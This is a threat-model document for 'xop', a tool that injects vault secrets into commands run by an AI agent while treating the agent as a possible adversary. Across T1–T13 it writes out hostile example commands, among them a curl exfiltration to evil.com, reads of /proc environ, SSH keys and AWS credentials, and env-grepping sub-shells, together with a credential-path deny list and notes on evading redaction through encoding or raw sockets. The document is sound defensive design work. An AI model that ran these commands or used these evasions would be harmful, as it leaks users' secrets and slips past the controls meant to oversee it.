Files
xop/docs/threat-model.md
T
2026-10-02 18:25:29 +08:00

153 lines
11 KiB
Markdown

# xop · Threat Model
> Adversary: an AI agent running on behalf of a user, plus any compromised sub-process the agent spawns.
> Defender: xop, the user who configured the policy, the OS.
> Non-adversary: the user themselves (we trust them to provide policy).
## T1 — LLM Provider Sees the Secret
**Attack:** agent calls `cat ~/.xop/key.db` or `echo $DB_PASS` to "verify" a value, plaintext flows into LLM provider's request body, gets logged server-side, possibly used for training.
**Mitigation:**
- Refs only (bare key names like `db_pass`) cross the LLM API trust boundary.
- Even if a value somehow ends up in the prompt, the `secret` flag schema enforces `KEY=NAME` shape — no scheme prefix that could leak backend identity.
- The xop CLI never takes a `--secret-value` flag. Period. There is no code path that accepts a value as an argument.
**Residual risk:** if a vault decrypt succeeds and a *bug* causes xop to log it. Counter: `secrecy::SecretBox<String>` with `Debug` impl that prints `<secret>`. All log macros use `%` (Display) not `?` (Debug) for secret fields.
## T2 — Secret Visible in `ps` Output
**Attack:** agent runs `xop --secret DB_PASS=db_pass mysql ...` then any user on the box runs `ps eww $(pgrep mysql)` and reads the envp.
**Mitigation:**
- xop's *own* argv (visible in `ps` during xop's lifetime) contains only `--secret DB_PASS=db_pass` — the ref, not the value.
- xop is short-lived (one fork+exec per invocation), so its `ps` footprint is < 100ms.
- The child process (mysql) does receive the value in envp. This is unavoidable for envp injection. Mitigation: `--allow-net` to limit what that child can do with the secret, and `--on-leak=kill|refuse` to catch leaks.
**Residual risk:** another process with same UID reads `/proc/<pid>/environ` (Linux). Mitigation: file policy denies reads to `/proc/*/environ` (see T6).
## T3 — Secret Visible in Shell History
**Attack:** user (or AI) types `xop --secret DB_PASS=db_pass mysql ...`, shell records full command with `db_pass` ref. Ref itself is harmless but reveals *which vault item is in use* — sometimes metadata is sensitive.
**Mitigation:**
- Recommend `HISTIGNORE="xop *"` in user's `.bashrc` / `.zshrc`.
- xop itself, when spawning the child, sets `HISTFILE=/dev/null` and `EXTENDED_HISTORY=0` in the child's environment if it looks like an interactive shell.
- `--secrets-file <path>` mode means the command line itself never has a ref — only the path to the file.
**Residual risk:** the bare key name in the command is itself observable metadata. Out of scope for v0.2; v0.3 may add ref-to-hash translation for history scrubbing.
## T4 — Child Prints Secret to Stdout
**Attack:** child runs `echo $DB_PASS`, output goes to agent's context, captured in agent's logs.
**Mitigation:** `src/guard/stdout.rs` puts a pipe filter between child stdout and the inherited tty:
- Default: regex-mask secret values with `[REDACTED:KEY]` and pass through.
- With `--on-leak=kill`: SIGKILL child, exit 77.
- With `--on-leak=refuse`: refuse to spawn at all (parse-time check on argv for patterns like `echo $DB_PASS`).
**Residual risk:** encoding tricks (base64, hex, ROT13) evade regex. Mitigation v0.3: integrate with entropy-based detection (gitleaks-style). Out of scope for v0.2.
## T5 — Child Exfiltrates Secret Over Network
**Attack:** child runs `curl -d "$DB_PASS" https://evil.com/exfil`.
**Mitigation:** `src/guard/network.rs`:
- macOS: inject `pf` rules pinning child's outbound to `--allow-net` list. Default `deny *`.
- Linux: `iptables -m owner --pid-owner <child_uid>` to apply rules.
- Fallback (any Unix): `http_proxy=http://127.0.0.1:0` to break HTTP, plus `--allow-net` for HTTPS whitelist (still imperfect — agent could use raw TCP).
**Residual risk:** child uses raw sockets, DNS tunneling, ICMP. Hard problem; v0.2 ships deny-by-default for *all* network unless allowlist provided (network policy itself is stubbed at the OS level — see HANDOFF §3).
## T6 — Child Reads Protected Files
**Attack:** child runs `cat /proc/self/environ` or reads `~/.ssh/id_rsa` or `~/.aws/credentials`.
**Mitigation:** `src/guard/file.rs`:
- Pre-seeded deny list: `/proc/self/environ`, `/proc/*/environ`, `~/.ssh/id_*`, `~/.aws/credentials`, `~/.config/gh/hosts.yml`, `~/.netrc`.
- macOS: `sandbox-exec -p <profile>` with `(deny file-read* (subpath "/etc/shadow"))` etc.
- Linux: `landlock` ABI (kernel ≥ 5.13) for fine-grained FS ACL on the child only.
**Residual risk:** symlink races, TOCTOU. v0.2 best-effort; v0.3 may add `(deny file-read* (subpath ...))` style checks at every openat.
## T7 — Child Spawns a Sub-Shell to Bypass Policy
**Attack:** child runs `bash -c 'env | grep -E PASS'`. The grandchild inherits envp and stdout, bypassing xop's stdout pipe (because the grandchild's stdout is still the pipe xop set up — actually, this *doesn't* bypass the pipe — bash will write to inherited fd 1, which is the pipe).
**Reality check:** descendants inherit the file descriptors xop set up, including stdout pipe. So `src/guard/stdout.rs` *does* still catch their stdout. Good.
**Mitigation:** xop sets `BASH_ENV=` and `ENV=` to empty in child envp to prevent startup files from injecting wrapper scripts. Also `set +o history` if interactive shell detected.
**Residual risk:** child execs a binary that re-opens `/dev/tty` directly. Hard to detect. v0.2 acceptable risk; v0.3 may add `ptrace` on Linux for syscall auditing.
## T8 — Core Dump Leaks Envp
**Attack:** child crashes (SIGSEGV), kernel writes core dump to `/var/lib/systemd/coredump` or `core.<pid>`. Envp visible.
**Mitigation:** xop sets `RLIMIT_CORE=0` in child before exec via `cmd.pre_exec(|| setrlimit(RLIMIT_CORE, 0, 0))`. macOS sets `CORE_FILE_SIZE=0` similarly.
## T9 — Audit Log Itself Leaks
**Attack:** audit log JSONL file at `~/.xop/audit.jsonl` accumulates. If filesystem is later exfiltrated, secrets leak.
**Mitigation:** `src/audit.rs` writes ONLY refs and metadata, never values. Type system enforces this: `AuditEvent` has fields `ref: String`, `backend: String`, `child_pid: u32`, `policy_hash: String` — no `value: String` field exists. Invariant test (`audit::tests::no_value_field_in_any_event`) scans for `"value":`, `"plaintext":`, `"ciphertext":`, `"passphrase":` substrings in every test event.
## T10 — Vault File Stolen Off Disk
**Attack:** attacker gets filesystem read access (laptop theft, backup exfil, malicious process). They grab `~/.xop/key.db`.
**Mitigation:**
- Vault is encrypted at rest: AES-256-GCM with 256-bit key derived via `argon2id(passphrase, salt)`.
- Argon2id parameters: m=64 MiB, t=3, p=4 — chosen to take ~250ms per attempt on modern CPUs, defeating offline brute force.
- Salt is 16 bytes random per vault (header), so rainbow tables are useless.
- Per-save nonce is 12 bytes random — AES-GCM guarantees ciphertext indistinguishability across writes of the same plaintext.
- Auth tag (GMAC) detects tampering.
**Residual risk (v0.2.1):** if the attacker can also read `~/.xop/keyring` (same-UID process, or a backup that grabs the whole `~/.xop` dir), the passphrase factor is gone — the hex key decrypts the vault directly. Protections: keyring mode 0600 + dir 0700, `load()` REFUSES any group/other-readable file, `xop key --remove` revokes instantly, `XOP_NO_KEYRING=1` forces typing. Same-UID malware can equally type-jack a live terminal, so this does not widen the classic threat surface — but it IS the accepted tradeoff that makes `xop run` unattended-able. Threat T13 below covers it. Also: weak passphrase — future v0.3 may add zxcvbn-style strength meter during `init`.
## T11 — Attacker Bypasses OS Auth (Touch ID)
**Attack:** attacker tricks macOS Touch ID (e.g. sleeping laptop with fingerprint on sensor).
**Mitigation:** OS auth is *only a pre-gate* — bypassing it still leaves the attacker needing the unlock secret (typed passphrase or keyring file). The keyring NEVER substitutes for the gate: `Vault::open` runs `auth::authenticate()` first, and the gate's verdict decides keyring eligibility (`auth::decide`): silent keyring unlock is allowed only after a **live biometric verification** on the local console, or in a **headless automation context** (no TTY). Everywhere identity cannot be biometrically proven — **SSH sessions** (a biometric prompt would pop on the wrong screen: the local console), devices with no enrolled/available biometrics, broken osascript, Linux interactive — the operation **requires the typed xop passphrase and does not consult the keyring at all**. Biometric alone never reveals plaintext. Since 2026-10-02 the prompt is **biometrics-only LAContext**: cancelling it (LAError -128/-5/-12) hard-refuses the operation (exit 77) instead of silently degrading, and there is no password option in the dialog — the system login password is never offered as a fallback.
**Residual risk:** if the attacker also has the passphrase or the keyring (see T13), they're in. Out of scope.
## T12 — Race Condition: Ref Resolved After Spawn
**Attack:** xop resolves ref, then spawns child. Between resolution and execve, a debugger attaches to xop, reads its memory.
**Mitigation:** resolution is synchronous and <1ms; debugger attachment is the threat model of "local attacker has root" which is game over anyway. Out of scope.
## T13 — Keyring File Stolen (v0.2.1)
**Attack:** malware running as the same UID (or a stolen/loose backup of `~/.xop`) reads `~/.xop/keyring` — the hex argon2-derived key — and decrypts `~/.xop/key.db` without ever knowing the passphrase.
**Mitigation:**
- This is an **explicitly accepted tradeoff** (user decision 2026-10-02): the alternative — macOS Keychain storage — popped system authorization dialogs during automation and was rejected outright.
- File mode 0600, dir `~/.xop` 0700, atomic write via tmp+rename.
- `keyring::load_at` **refuses** any file whose mode has group/other bits set (error, not silent use) and any non-64-hex content.
- Instant revocation: `xop key --remove` (or `xop reset --yes`, which cascades).
- Per-invocation opt-out: `XOP_NO_KEYRING=1` forces passphrase typing.
- Same-UID is the boundary: a same-UID process can also read the live terminal / keylog the typed passphrase, so the keyring does not meaningfully widen the local-threat surface — it moves one factor from "memory" to "disk".
- Not a remote risk: nothing exfiltrates `~/.xop` by design; backups of the dir should be treated as secret material (or exclude `keyring`).
**Residual risk:** backups / dotfile-sync tools (Dropbox, iCloud `~` sync) copying `~/.xop/keyring` off-machine. Mitigation: sync tools honouring dir perms are outside xop's control — document "back up key.db only, never keyring", or keep the dir out of sync paths.
## Summary table
| # | Threat | v0.2 status |
|---|---|---|
| T1 | LLM sees secret | ✅ refs-only invariant |
| T2 | ps output | ✅ argv never has values |
| T3 | shell history | ⚠️ HISTIGNORE recommendation |
| T4 | stdout leak | ✅ pipe filter implemented |
| T5 | network exfil | ⚠️ stubbed — needs pf/iptables |
| T6 | protected file reads | ⚠️ stubbed — needs sandbox-exec/landlock |
| T7 | sub-shell bypass | ✅ inherited fds catch descendants |
| T8 | core dump | ✅ RLIMIT_CORE=0 in child |
| T9 | audit log leaks | ✅ type system + scan test |
| T10 | vault file stolen | ✅ AES-256-GCM + argon2id |
| T11 | Touch ID bypass | ✅ keyring only after proven identity (biometric pass or headless); SSH/no-biometric → passphrase typed; cancel = exit 77 |
| T12 | debug attach | out of scope |
| T13 | keyring file stolen | ✅ accepted tradeoff — 0600 enforced, revoke via `xop key --remove` |